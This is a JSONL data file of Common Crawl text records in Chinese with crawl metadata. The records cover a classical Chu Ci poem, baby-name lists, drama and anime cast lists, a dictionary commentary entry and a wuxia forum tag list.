+{"text":"皇天之不純命兮,何百姓之震愆。\n民離散而相失兮,方仲春而東遷。\n去故鄉而就遠兮,遵江夏以流亡。\n出國門而軫懷兮,甲之朝吾以行。\n發郢都而去閭兮,怊荒忽之焉極。\n楫齊楊以容與兮,哀見君而不再得。\n望長楸而太息兮,涕淫淫其若霰。\n過夏首而西浮兮,顧龍門而不見。\n心嬋媛而傷懷兮,眇不知其所蹠。\n順風波以從流兮,焉洋洋而爲客。\n凌陽侯之氾濫兮,忽翱翔之焉薄。\n心絓結而不解兮,思蹇產而不釋。\n將運舟而下浮兮,上洞庭而下江。\n去終古之所居兮,今逍遙而來東。\n羌靈魂之慾歸兮,何須臾而忘反。\n背夏浦而西思兮,哀故都之日遠。\n登大墳以遠望兮,聊以舒吾憂心。\n哀州土之平樂兮,悲江介之遺風。\n當陵陽之焉至兮,淼南渡之焉如。\n曾不知夏之爲丘兮,孰兩東門之可蕪。\n心不怡之長久兮,憂與愁其相接。\n惟郢路之遼遠兮,江與夏之不可涉。\n忽若去不信兮,至今九年而不復。\n慘鬱郁而不通兮,蹇侘傺而含戚。\n外承歡之汋約兮,諶荏弱而難持。\n忠湛湛而願進兮,妒被離而障之。\n堯舜之抗行兮,瞭杳杳而薄天。\n衆讒人之嫉妒兮,被以不慈之僞名。\n憎慍惀之修美兮,好夫人之慷慨。\n衆踥蹀而日進兮,美超遠而逾邁。\n亂曰:曼餘目以流觀兮,冀一反之何時。\n鳥飛反故鄉兮,狐死必首丘。\n信非吾罪而棄逐兮,何日夜而忘之。","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/fanti.dugushici.com\/ancient_proses\/71516","date":"2021-05-16T19:14:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243991178.59\/warc\/CC-MAIN-20210516171301-20210516201301-00323.warc.gz","language":"lzh","language_score":0.4283929169,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4283929169178009, \"cmn_Hani_score\": 0.3833140730857849, \"yue_Hani_score\": 0.057731665670871735, \"wuu_Hani_score\": 0.0479033924639225, \"jpn_Jpan_score\": 0.04318598285317421, \"nan_Hani_score\": 0.0388002023100853}","num_words":33,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.616,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n梁婵 梁娥 梁芳 梁芬 梁红 梁花 梁洁 梁婧 梁娟 梁莉 梁丽 梁琳 梁玲 梁梅 梁美 梁妹 梁娜 梁萍 梁倩 梁琴 梁琼 梁冉 梁蓉 梁茹 梁婷 梁文 梁霞 梁秀 梁雪 梁娅 梁嫣 梁妍 梁艳 梁燕 梁瑶 梁怡 梁英 梁瑛 梁莹 梁颖 梁玉 梁媛 梁悦 梁阿妹 梁阿媛 梁蔼燕 梁蔼怡 梁艾芳 梁艾丽 梁艾琳 梁爱娥 梁爱芳 梁爱红 梁爱娟 梁爱丽 梁爱玲 梁爱梅 梁爱萍 梁爱琴 梁爱霞 梁爱雪 梁爱莹 梁安红 梁安玲 梁安娜 梁安文 梁安悦 梁岸玲 梁岸萍 梁媪倩 梁柏丽 梁柏琳 梁雹艳 梁宝芬 梁宝娟 梁宝丽 梁宝玲 梁宝萍 梁宝倩 梁宝文 梁宝怡 梁宝莹 梁宝玉 梁宝媛 梁宝悦 梁保丽 梁保妹 梁贝雪 梁蓓玲 梁蓓倩 梁蓓茹 梁蓓莹 梁蓓颖 梁本玉 梁碧红 梁碧丽 梁碧琼 梁碧霞 梁碧妍 梁碧瑶 梁碧莹 梁碧玉 梁变芳 梁宾娥 梁斌艳 梁槟倩 梁膑文 梁冰花 梁冰洁 梁冰娟 梁冰倩 梁冰雪 梁冰艳 梁冰怡 梁冰玉 梁丙文 梁炳文 梁伯玉 梁博文 梁卜文 梁补英 梁采琼 梁采婷 梁采媛 梁彩芬 梁彩红 梁彩花 梁彩娟 梁彩琳 梁彩玲 梁彩萍 梁彩琴 梁彩琼 梁彩文 梁彩霞 梁彩燕 梁彩莹 梁蔡红 梁灿梅 梁粲悦 梁茶妹 梁婵芳 梁婵娟 梁昌玲 梁长花 梁长茹 梁长艳 梁长燕 梁焯文 梁超梅 梁超文 梁超英 梁朝文 梁朝霞 梁朝颖 梁朝玉 梁朝媛 梁辰燕 梁晨琳 梁晨美 梁晨冉 梁晨婷 梁晨颖 梁丞琳 梁成婧 梁崇文 梁楚芬 梁楚嫣 梁楚妍 梁楚怡 梁春花 梁春娟 梁春丽 梁春玲 梁春梅 梁春萍 梁春蓉 梁春文 梁春霞 梁春艳 梁春燕 梁春英 梁春玉 梁椿燕 梁纯洁 梁纯丽 梁赐琳 梁璀莉 梁璀丽 梁翠婵 梁翠芳 梁翠芬 梁翠红 梁翠莉 梁翠丽 梁翠玲 梁翠梅 梁翠妹 梁翠萍 梁翠琼 梁翠婷 梁翠文 梁翠霞 梁翠雪 梁翠英 梁翠莹 梁翠玉 梁村燕 梁存雪 梁大芳 梁大玲 梁大萍 梁大蓉 梁黛婧 梁丹红 梁丹萍 梁丹婷 梁丹莹 梁丹玉 梁得红 梁德红 梁德文 梁德霞 梁德玉 梁迪文 梁丁琼 梁丁文 梁鼎芬 梁鼎婧 梁鼎文 梁东芳 梁东红 梁东霞 梁东怡 梁冬红 梁冬丽 梁冬梅 梁冬文 梁冬雪 梁冬玉 梁栋文 梁端英 梁多燕 梁娥菁 梁恩婧 梁恩文 梁尔文 梁二妹 梁二琴 梁发英 梁帆娅 梁凡英 梁方婷 梁芳娥 梁芳芳 梁芳红 梁芳梅 梁芳萍 梁芳蓉 梁芳婷 梁芳雪 梁芳妍 梁芳艳 梁芳怡 梁飞燕 梁菲婷 梁纷莉 梁芬翠 梁芬芳 梁芬芬 梁芬华 梁芬宁 梁芬荣 梁芬容 梁芬瑗 梁芬云 梁玢莹 梁风琴 梁凤婵 梁凤娥 梁凤芬 梁凤娟 梁凤莉 梁凤玲 梁凤梅 梁凤妹 梁凤萍 梁凤倩 梁凤琴 梁凤霞 梁凤雪 梁凤怡 梁凤英 梁凤媛 梁夫丽 梁福红 梁福丽 梁富萍 梁馥莹 梁改花 梁改娟 梁淦莹 梁刚文 梁高丽 梁根梅 梁庚文 梁狗妞 梁谷妹 梁观妹 梁观萍 梁观婷 梁观玉 梁官裴 梁官文 梁官瑶 梁冠婷 梁光红 梁光文 梁广红 梁广萍 梁广英 梁贵洁 梁桂娥 梁桂芳 梁桂芬 梁桂红 梁桂花 梁桂洁 梁桂琳 梁桂玲 梁桂梅 梁桂妹 梁桂萍 梁桂琴 梁桂文 梁桂霞 梁桂艳 梁桂燕 梁桂英 梁桂莹 梁桂玉 梁桂媛 梁国芳 梁国花 梁国梅 梁国霞 梁国英 梁国玉 梁海芳 梁海红 梁海丽 梁海琳 梁海玲 梁海梅 梁海萍 梁海婷 梁海文 梁海霞 梁海艳 梁海燕 梁海瑶 梁海怡 梁海英 梁海瑛 梁海莹 梁海玉 梁含颖 梁涵文 梁涵莹 梁涵媛 梁涵悦 梁寒婷 梁寒文 梁汉芳 梁汉芬 梁汉文 梁汉玉 梁翰文 梁瀚芳 梁瀚婧 梁瀚琳 梁瀚裴 梁瀚冉 梁瀚文 梁瀚颖 梁绗倩 梁豪文 梁昊文 梁昊怡 梁浩洁 梁浩文 梁皓琳 梁皓婷 梁皓文 梁颢文 梁颢莹 梁灏文 梁合玉 梁和艳 梁荷芬 梁荷花 梁鹤茹 梁恒丽 梁恒瑛 梁珩嫣 梁弘娟 梁弘莉 梁红娥 梁红芳 梁红红 梁红娟 梁红丽 梁红梅 梁红美 梁红娜 梁红琼 梁红蓉 梁红霞 梁红艳 梁红燕 梁红英 梁红颖 梁红玉 梁宏娟 梁宏美 梁宏娜 梁宏萍 梁宏文 梁宏玉 梁宏悦 梁洪红 梁洪娟 梁洪萍 梁洪文 梁虹莉 梁虹萍 梁虹秀 梁鸿芳 梁鸿英 梁花花 梁华芬 梁华萍 梁华倩 梁华文 梁华英 梁铧冉 梁铧文 梁化梅 梁化颖 梁怀文 梁欢瑶 梁桓萍 梁幻琼 梁涣莹 梁焕燕 梁焕英 梁晖茹 梁卉霞 梁会芳 梁会丽 梁会文 梁会霞 梁会英 梁会瑛 梁会莹 梁会颖 梁会玉 梁会媛 梁绘莹 梁惠娥 梁惠芳 梁惠芬 梁惠娟 梁惠丽 梁惠玲 梁惠萍 梁惠琼 梁惠茹 梁惠婷 梁惠霞 梁惠怡 梁惠英 梁惠瑛 梁慧芬 梁慧红 梁慧娟 梁慧琳 梁慧玲 梁慧美 梁慧婷 梁慧霞 梁慧妍 梁慧艳 梁慧瑶 梁慧莹 梁慧颖 梁基芬 梁吉蓉 梁季红 梁济萍 梁继芳 梁继玲 梁继颖 梁加玲 梁佳红 梁佳琳 梁佳玲 梁佳美 梁佳蓉 梁佳茹 梁佳婷 梁佳文 梁佳秀 梁佳妍 梁佳瑶 梁佳莹 梁佳颖 梁佳玉 梁珈茹 梁珈妍 梁珈怡 梁珈悦 梁家芳 梁家洁 梁家婧 梁家丽 梁家琳 梁家玲 梁家裴 梁家萍 梁家琴 梁家冉 梁家蓉 梁家婷 梁家文 梁家雪 梁家瑶 梁家怡 梁家英 梁家颖","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-s1-121-2.html","date":"2021-09-21T11:21:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00321.warc.gz","language":"lzh","language_score":0.9761995077,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9761995077133179, \"nan_Hani_score\": 0.013651339337229729}","num_words":542,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.976,"perplexity_score":500.0,"cluster_detection":1} +{"text":"主演:孙俪 陈建斌 蔡少芬 李东学 蒋欣 张晓龙 刘雪华 李天柱 陶昕然 斓曦 蓝盈莹 孙茜 战菁一 马丹阳 颖儿 张雅萌 杨紫嫣 陈思斯 万美汐 热依扎 李宜娟 赵秦 唐艺昕 谭松韵 李佳璇 毛晓彤 郭宣 何亚男 崔曼莉 杨淇 刘岩 王文杰 邬立朋 徐璐 沈保平 李丹 孙宁 王彪 张毅 马维福 李泓瑞 田西平 田朴珺 孙渤洋 刘钇彤 杨凯淳 梁艺馨 周子涵 田淑梅 康福震 刘柏廷 罗康 李璐兵 马跃峰 王一鸣 赵海龙 刘洋 李洋 杜相 张志伟 邢杰枫 汪晴 李周洋 杨静 翟蓓蓓 刘荫 王民 谭丽敏 梅傲冬 海\n导演:郑晓龙 ?","id":"","dump":"CC-MAIN-2021-43","url":"http:\/\/cosmeticsurgeryasia.com\/a\/20210928\/16295.html","date":"2021-10-25T00:14:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587608.86\/warc\/CC-MAIN-20211024235512-20211025025512-00200.warc.gz","language":"lzh","language_score":0.49356547,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.49356546998023987, \"cmn_Hani_score\": 0.473783940076828, \"wuu_Hani_score\": 0.025684455409646034}","num_words":71,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.285,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.504,"perplexity_score":500.0,"cluster_detection":1} +{"text":"湖州福连升老北京布鞋、休闲鞋品牌加盟店信息和湖州鞋店加盟方法介绍。\n兰州 嘉定 上海 沧州 峨眉 广缘 兴龙 义乌 迁宿 海南 九台 邯郸 藤县 内江 盐亭 泥河 三亚 遂宁 润生 盐城 福建 龙城 威海 荣成 西北 广汉 白鹤 含浦 岳麓 长沙","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.fuliansheng.com\/index.php?m=home&c=Tags&a=lists&tagid=1714","date":"2021-12-03T09:24:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362619.23\/warc\/CC-MAIN-20211203091120-20211203121120-00112.warc.gz","language":"lzh","language_score":0.5257809758,"language_script":"Hani","minhash_cluster_size":18,"top_langs":"{\"lzh_Hani_score\": 0.525780975818634, \"cmn_Hani_score\": 0.4484306573867798, \"jpn_Jpan_score\": 0.01018279604613781}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.268,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.526,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n雷浩威 雷浩龙 雷浩鹏 雷浩祖 雷浩德 雷浩东 雷浩仁 雷浩祥 雷浩鑫 雷浩磊 雷浩烽 雷浩波 雷浩聪 雷浩坤 雷浩胜 雷浩济 雷浩成 雷浩伟 雷浩海 雷浩淼 雷浩华 雷聪 雷怿鑫 雷仲凯 雷仲 雷伯凯 雷毅明 雷怿江 雷怿灵 雷怿华 雷怿亮 雷毅程 雷毅成 雷怿洋 雷泽潭 雷贻唐 雷唐 雷贻涛 雷贻 雷贻峰 雷怿峰 雷建君 雷健均 雷健军 雷舜光 雷勋光 雷建华 雷建荣 雷涛霍 雷厚变 雷雨淳 雷介鸿 雷鹏漓 雷泽鸿 雷鹏霁 雷奕岩 雷雨鸿 雷薏熙 雷卯 雷怿彪 雷蓓 雷怿缙 雷怿养 雷怿玮 雷怿富 雷怿晖 雷怿铎 雷怿曦 雷泽平 雷怿绍 雷怿彬 雷怿军 雷翼成 雷翼 雷怿晨 雷怿盛 雷怿茂 雷怿东 雷碗旗 雷碗培 雷怿康 雷怿伟 雷怿浦 雷怿浩 雷博名 雷怿民 雷怿聪 雷怿坤 雷永坚 雷怿岚 雷泽欣 雷怿程 雷怿明 雷滔 雷怿旗 雷怿平 雷怿唐 雷怿波 雷怿龙 雷怿 雷思慧 雷诗依 雷思依 雷昕宜 雷喻鸶 雷娴 雷于是 雷佳惠 雷佳妮 雷佳旎 雷旎佳 雷润荷 雷旎荷 雷心旎 雷旎心 雷旎 雷旎洛 雷湘渠 雷湘荷 雷曦嫒 雷曦兰 雷曦岚 雷曦宝 雷日曦 雷曦阳 雷曦蓬 雷曦莱 雷唐浩 雷唐曦 雷程曦 雷成曦 雷恩曦 雷曦恩 雷羲淼 雷羲之 雷曦有 雷曦佑 雷曦友 雷曦豪 雷曦桃 雷曦北 雷曦白 雷曦早 雷曦禾 雷曦和 雷曦泽 雷子曦 雷夏曦 雷曦之 雷曦来 雷曦平 雷浩平 雷浩远 雷浩海 雷晚培 雷晚旗 雷晚琪 雷碗琪 雷曦淼 雷润曦 雷浩曦 雷曦浩 雷曦晖 雷曦晨 雷曦玮 雷曦 雷湘瑜 雷瑜 雷浩瑜 雷浩雨 雷浩羽 雷浩晖 雷浩如 雷渠 雷渠浩 雷渤浩 雷渤玮 雷淼浩 雷淼怿 雷淼毅 雷浩津 雷浩炜 雷浩玮 雷浩洋 雷鑫浩 雷浩仪 雷浩翔 雷浩清 雷浩能 雷浩桂 雷浩漓 雷浩白 雷浩达 雷浩臻 雷浩承 雷浩前 雷浩京 雷浩辉 雷浩天 雷浩舟 雷迎迎 雷圣宾 雷秀银 雷恩华 雷恒奕 雷举桥 雷桥举 雷桥阳 雷桥杨 雷桥扬 雷桥洋 雷桥达 雷桥林 雷桥霖 雷桔达 雷桔丰 雷凯曾 雷济桥 雷柏桥 雷桓桥 雷书桥 雷志平 雷澈 雷书郝 雷书博 雷书魄 雷书翰 雷书达 雷书阳 雷书杨 雷书扬 雷书洋 雷书霖 雷书林 雷搏霖 雷搏林 雷柏霖 雷伯霖 雷博霖 雷玉姗 雷柏洋 雷帛阳 雷帛杨 雷帛扬 雷帛洋 雷搏阳 雷搏杨 雷玉珊 雷驳阳 雷驳杨 雷驳扬 雷驳洋 雷英鹏 雷伯阳 雷伯杨 雷泊阳 雷泊杨 雷泊扬 雷博杨 雷博阳 雷博扬 雷搏洋 雷搏扬 雷伯洋 雷泊洋 雷博洋 雷雨霖 雷沐霖 雷济霖 雷瀚森 雷尧森 雷跃新 雷印剑 雷震球 雷嘉贝 雷家贝 雷博兴 雷奕琦 雷森杰 雷梵歌 雷梵艺 雷梵 雷宇梦 雷雨梦 雷一梦 雷松阳 雷松扬 雷柏扬 雷柏杨 雷柏阳 雷元森 雷林森 雷元木 雷枫扬 雷徉 雷阳 雷璐萌 雷翔龙 雷毅杰 雷海洋","id":"","dump":"CC-MAIN-2023-06","url":"http:\/\/scw12.cn\/show_46E.aspx","date":"2023-01-29T16:31:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499744.74\/warc\/CC-MAIN-20230129144110-20230129174110-00154.warc.gz","language":"lzh","language_score":0.3926390409,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.39263904094696045, \"cmn_Hani_score\": 0.3360164165496826, \"und_Sgnw_score\": 0.18349598348140717, \"nan_Hani_score\": 0.03177768364548683, \"und_Cham_score\": 0.02268473245203495}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.4,"perplexity_score":500.0,"cluster_detection":1} +{"text":"高山南 林原惠美 山崎和佳奈 小山力也 山口胜平 古谷彻 池田秀一 置鲇龙太郎 三石琴乃 岸野幸正 一城美由希 土师孝也 乃村健次 飞田展男 绪方贤一 松井菜樱子 岩居由希子 大谷育江 茶风林 汤屋敦子 井上和彦 千叶繁 堀之纪 立木文彦 小山茉美 井上喜久子 木下浩之 玉川纱己子 种崎敦美 诹访部顺一 神谷浩史 土田大 泽木郁也 宫原永海 村濑步 泽田敏子 鸟海胜美 藤原泰浩 金光宣明 冈井克升 下地紫野 泽村一树\n日野聪 原由实 上坂堇 加藤英美里 内山夕实 加藤将之 三宅健太 千叶繁 东山奈央 五十岚裕美 小松未可子 沼仓爱美 濑户麻沙美 佐仓绫音 真堂圭 东地宏树 楠见尚己 雨宫天 石井康嗣 安野希世乃 逢坂良太 白熊宽嗣 游佐浩二 小清水亚美 齐藤贵美子 花守由美里 石上静香 富田美忧 岛村侑 樱井孝宏 土师孝也\n森田成一 折笠富美子 松冈由贵 伊藤健太郎 杉山纪彰 置鲇龙太郎 安元洋贵 森川智之 大原沙耶香 钉宫理惠 真殿光昭 菅生隆之 森久保祥太郎 三木真一郎 梁田清之 濑那步美 本田贵子 下屋则子 雪野五月 斋藤志郎 野田顺子 福山润 小西克幸 茂吕田和江 上田祐司 中岛沙树 真田麻美 生天目仁美 成田剑 丸山咏二 广濑正志 千叶繁 千叶进步 东地宏树 小野大辅 丰口惠美 斧笃 市来光弘 汤屋敦子 吉野裕行 塚田正昭 大塚明夫 山口太郎 川上伦子 桑岛法子 樫井笙人 游佐浩二 樱井孝宏 久川绫 野上尤加奈 西\n铃木达央 长岛雄一 中田让治 内山夕实 金子隼人 稻田彻 榎木淳弥 浪川大辅 加濑康之 莲池龙三 下妻由幸 莲岳大 山本兼平 阿座上洋平 野上尤加奈 小市真琴 德本英一郎 石井康嗣 浦山迅 水中雅章 千叶繁 广濑裕也 黑泽朋世 松田健一郎 高桥良辅 铃木美园 平川大辅 龟冈洋孝 石田彰 白熊宽嗣 前川凉子 绪方惠美 加藤将之 柴田秀胜 金尾哲夫 竹内荣治 柳泽荣治 马修·马萨尔巴罗 藤原启治 桑谷夏子 保志总一朗 小野大辅 樱井孝宏 泽城千春 高桥伸也 村濑克辉 平田真菜 桧山修之 游佐浩二 小西克幸 星\n本站只提供WEB页面服务,本站不存储、不制作任何视频,不承担任何由于内容的合法性及健康性所引起的争议和法律责任。\n若本站内容侵犯您的权益,请附说明联系,本站将第一时间处理。\n大宝影院 gzevergrandefc.com 联系邮箱:email@example.com","id":"","dump":"CC-MAIN-2024-10","url":"http:\/\/gzevergrandefc.com\/vodsearch\/-%E5%8D%83%E5%8F%B6%E7%B9%81------------\/","date":"2024-03-03T12:20:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947476374.40\/warc\/CC-MAIN-20240303111005-20240303141005-00178.warc.gz","language":"lzh","language_score":0.3977282941,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.39772829413414, \"cmn_Hani_score\": 0.35514530539512634, \"jpn_Jpan_score\": 0.16962175071239471, \"nan_Hani_score\": 0.03465614840388298, \"wuu_Hani_score\": 0.023259056732058525, \"yue_Hani_score\": 0.019592594355344772}","num_words":180,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.428,"perplexity_score":500.0,"cluster_detection":1} +{"text":"或曰、不定之䛐。云嘼名、葢𣎆爲驘之古字。與驢驘皆可畜於家。則謂之畜宜也。\n象形二字淺人所増。闕謂闕其形也。其義則畜名。其音則以𣎆聲之字定之。其形則從肉以外不能强爲之說也。郞果切。十七部。一說或曰嘼名四字、亦後人所増。義形皆闕。","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.shuowen.org\/view\/2718?pinyin=luo","date":"2024-04-22T09:59:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818105.48\/warc\/CC-MAIN-20240422082202-20240422112202-00870.warc.gz","language":"lzh","language_score":0.4027176201,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.40271762013435364, \"cmn_Hani_score\": 0.28831127285957336, \"jpn_Jpan_score\": 0.21179962158203125, \"yue_Hani_score\": 0.04098925366997719, \"wuu_Hani_score\": 0.03488638997077942}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.403,"perplexity_score":500.0,"cluster_detection":1} +{"text":"。\n今夕何夕兮 搴舟中流 今日何日兮 得与王子同舟 蒙羞被好兮 不訾诟耻 心几烦而不绝兮 得知王子 山有木兮木有枝 心悦君兮君不知\n© Vanish-DSLRbar | Powered by LOFTER","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/van1sh.lofter.com\/post\/463201_5e3ecf7","date":"2018-09-24T04:08:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267160142.86\/warc\/CC-MAIN-20180924031344-20180924051744-00448.warc.gz","language":"lzh","language_score":0.9483401775,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9483401775360107, \"cmn_Hani_score\": 0.03141966834664345, \"nan_Hani_score\": 0.015251828357577324}","num_words":14,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.196,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.888,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n田州 田众 田衷 田博闻 田海顺 田凤贤 田奥聪 田诣信 田明菲 田常青 田诣初 田诩镧 田云柯 田镇珲 田书沛 田雯博 田梓岐 田皓天 田赢 田紫熙 田雪君 田淑鹃 田淑绢 田素鹃 田贝妮 田灵 田慧佳 田林珍 田宁强 田宁珍 田盛 田永胜 田傲翔 田皓辉 田景山 田家秀 田淑华 田中剑 田欣农 田中康 田奕彤 田青灵 田羽桐 田致远 田晏松 田雅慧 田格尔 田玉琢 田至轩 田文军 田满福 田珉嘉 田珉丞 田锦州 田瑾洲 田珂凝 田珂萌 田馥榕 田瑾泉 田宏杰 田朽 田丽军 田贵驰 田贵正 田贵水 田贵运 田贵波 田贵琦 田贵其 田贵禄 田贵富 田贵汇 田贵鑫 田贵希 田贵熙 田贵利 田贵礼 田贵泰 田贵笙 田贵仁 田贵禹 田贵宇 田贵琪 田明轩 田熙蕾 田瑾泓 田瑾泱 田瑾溢 田一博 田澄 田树彬 田炜 田力嵛 田焱 田晓洗 田佩玺 田泽瑾 田晓玺 田逸凡 田承卿 田友松 田慧子 田春宇 田侑川 田友新 田广川 田凯歌 田景 田锐烨 田收 田美伦 田甜宓 田宓 田正喜 田长顺 田文进 田鲁豫 田佳语 田佳音 田何 田美奂 田美仑 田新果 田程辉 田昌纯 田沛鑫 田语星 田珊 田国栋 田应波 田凤芹 田宰宇 田野平 田冯嘉 田植彰 田登魁 田舜宁 田程翰 田智瑞 田智维 田舜彰 田勋珲 田舜熙 田智源 田瞬熙 田昊非 田非 田宸境 田昊明 田昊佳 田昊中 田中昊 田昊海 田昊天 田中凡 田海洋 田又诚 田中用 田中耀 田耀 田轩 田达 田朗 田帝 田直 田泽 田进 田淳 田厚 田伯 田炫 田中好 田彦 田坚 田雨来 田胤 田中齐 田齐 田上 田任 田策 田顺 田翼 田崇 田儒 田慎 田会 田阳 田奥 田渊 田遵 田撙 田尊 田踵 田肿 田著 田柱 田宙 田周 田洲 田佳澄 田立新 田玉成 田淇 田文庆 田范 田惠利 田宇超 田紫睿 田若琰 田倍宁 田荣地 田青青 田羽轩 田兴宇 田裕尧 田宸翡 田乙心 田雨名 田乙全 田钰镧 田超宇 田鑫超 田林超 田仁超 田辰臻 田吉臻 田垲海 田裕镧 田辰攸 田辰岢 田鑫昊 田鑫海 田春雷 田春林 田超前 田前超 田海琛 田昊辛 田羲泳 田心心 田竣出 田好哲 田翰炫 田宓宓 田湘磊 田海飞 田志承 田佳林 田广 田成 田锋 田宜麟 田煜希 田秀峰 田亦农 田晋铭 田学晗 田学昱 田学潇 田学锋 田学键 田煜烨 田学翔 田煜 田学枫 田学瑜 田煜晨 田尔东 田煜琪 田聿伶 田煜琦 田煜麒 田伊伶 田聿灼 田学钰 田林翰 田煜祥 田煜翔 田橙橙 田松林 田森然 田甜闰 田甜润 田雅珍 田千锁 田芈卡 田学智 田树熏 田淑芹 田淑熏 田淑埙 田雨祥 田雨翔 田淑勋 田树勋 田林静 田睿翔","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/www.mf-sj.cn\/a\/show_44Q.aspx","date":"2018-10-20T01:11:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512499.22\/warc\/CC-MAIN-20181019232929-20181020014429-00546.warc.gz","language":"lzh","language_score":0.9899312258,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.9899312257766724}","num_words":299,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n耶律齊 孫權建國 王元姬 許褚 夏侯嬰 滅神掌 刀白鳳 就地十八滾 雪山飛狐 血海飄香 五絕神功 武田信玄 七殺手 玄鐵重劍 常赫志 街亭 五虎斷門刀 司馬昭弒君 陸小鳳傳奇 藍鳳凰 無念禪功 破蓮八著 移玉大法 羊祜 劉備 丁典 關索 德川家康 丁奉 流星鎚 吳國太 君子劍 曹休 夷陵之戰 嵩山十三太保 一燈大師 覆雨劍法 第六天魔王 西蜀地形圖 魯有腳 五行劍法 四大惡人 空綁術 李莫愁 駱冰 郭解 劍罡同流 程靈素 鹿鼎記 硃砂掌 小鷹爪功 冰玄勁 東興之戰 彼岸劍訣 諸葛恪 呂布爭徐州 竹節鞭 蕭逸 邊城浪子 擒拿截脈法 少林三渡 北冥神功 李元霸 楚留香新傳之蝙蝠傳奇 劉禪 蔣四根 賈充 風清揚 董卓討伐戰 楊成協 群狐 劍花煙雨江南 神鵰俠侶 天魔手七十二式 郭靖 呂后 夏侯霸 九玄大法 屯田制 裂馬槍 碧血劍 天地明環 樊城之戰 滅絕師太 桃枝仙 岳靈珊 劍毒梅香 書劍恩仇錄 大意失荊州 倚天屠龍記 江夏戰神 紫氣天羅 合淝之戰 隆中對 吳質 伊達政宗 李廣 公孫綠萼 羅憲 朱然 康敏 徐盛 吳應熊 扭轉乾坤殺手劍 樂進 章進 溫瑞安 蕭摩訶 空城計 文醜 歸藏鞭 射鵰三部曲 司馬懿 九品中正制 天魔擊三大散招 方證大師 銀龍手 賭局 浣花洗劍錄 先天功 風鈴中的刀聲 定靜師太 任盈盈 金輪法王 大喬 西陵之戰 小喬 孫尚香 一休 范遙 石中玉 大元丹法 峨嵋派 翔鷹劍法 夏侯惇 大地飛鷹 馬岱 曹仁 袁紹 少林神拳 晉滅吳之戰 三尸腦神丹 決戰前後 旋風十八矛 福康安 丐幫 黃權 韓小瑩 陸遜 沉沙劍法 李牧 狄雲 瘋魔上天下地一百零七撃 古龍 少林派 枯木神功 白狼山之戰 笑傲江湖 逍遙拆 蝴蝶穿花七十二式 幻影劍法 凌統 飛刀,又見飛刀 張飛 白骨爪 丁璫 陳到 黃蓋 水雲袖法 七禽身法 宗預 丁不四 碧落紅塵 孫策 玩命拳 笮融 青釭劍 呂母 風萍掌 青龍偃月刀 心硯 定閒師太 韋一笑 馬忠 張遼 金蛇郎君 歸辛樹 死眷術 屠龍刀 